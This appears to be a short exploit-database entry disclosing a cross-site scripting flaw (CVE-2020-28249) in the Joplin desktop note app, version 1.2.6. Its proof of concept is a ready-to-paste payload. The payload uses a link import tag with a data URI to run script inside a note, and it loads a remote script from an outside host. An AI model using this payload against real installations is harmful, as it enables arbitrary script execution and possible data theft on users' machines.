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695 B
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# Exploit Title: Joplin 1.2.6 - 'link' Cross Site Scripting
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# Date: 2020-09-21
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# Exploit Author: Philip Holbrook (@fhlipZero)
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# Vendor Homepage: https://joplinapp.org/
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# Software Link: https://github.com/laurent22/joplin/releases/tag/v1.2.6
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# Version: 1.2.6
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# Tested on: Windows / Mac
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# CVE : CVE-2020-28249
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# References:
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# https://github.com/fhlip0/JopinXSS/blob/main/readme.md
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# 1. Technical Details
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# An XSS issue in Joplin for desktop v1.2.6 allows a link tag in a note to
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bypass the HTML filter
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# 2. PoC
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# Paste the following payload into a note:
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```
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<link rel=import
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href="data:text/html,<script>alert(XSS)</script>
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<script src="//brutelogic.com.br/1.js# </script>
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``` |